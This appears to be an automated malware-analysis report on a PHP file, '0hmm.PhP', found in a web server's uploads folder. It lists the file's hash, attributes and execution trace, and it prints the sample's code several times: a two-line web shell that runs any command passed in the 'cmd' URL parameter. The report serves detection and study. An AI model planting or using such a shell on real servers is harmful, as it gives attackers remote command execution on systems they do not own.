PHP Malware Analysis
0hmm.PhP
md5: e9224dc2894c355dfc3d45636c2a7951
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Execution
- shell_exec (Deobfuscated, HTML, Original)
Input
- _GET (Deobfuscated, HTML, Original)
Deobfuscated PHP code
echo($_GET["cmd"]);
echo(shell_exec($_GET["cmd"]));
Execution traces
data/traces/e9224dc2894c355dfc3d45636c2a7951_trace-1676247531.9741.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:19:17.871876]
1 0 1 0.000156 393512
1 3 0 0.000227 393112 {main} 1 /var/www/html/uploads/0hmm.PhP 0 0
1 3 1 0.000243 393112
0.000269 314224
TRACE END [2023-02-12 22:19:17.872021]
Generated HTML code
<html><head></head><body>echo($_GET["cmd"]);
echo(shell_exec($_GET["cmd"]));
</body></html>Original PHP code
echo($_GET["cmd"]);
echo(shell_exec($_GET["cmd"]));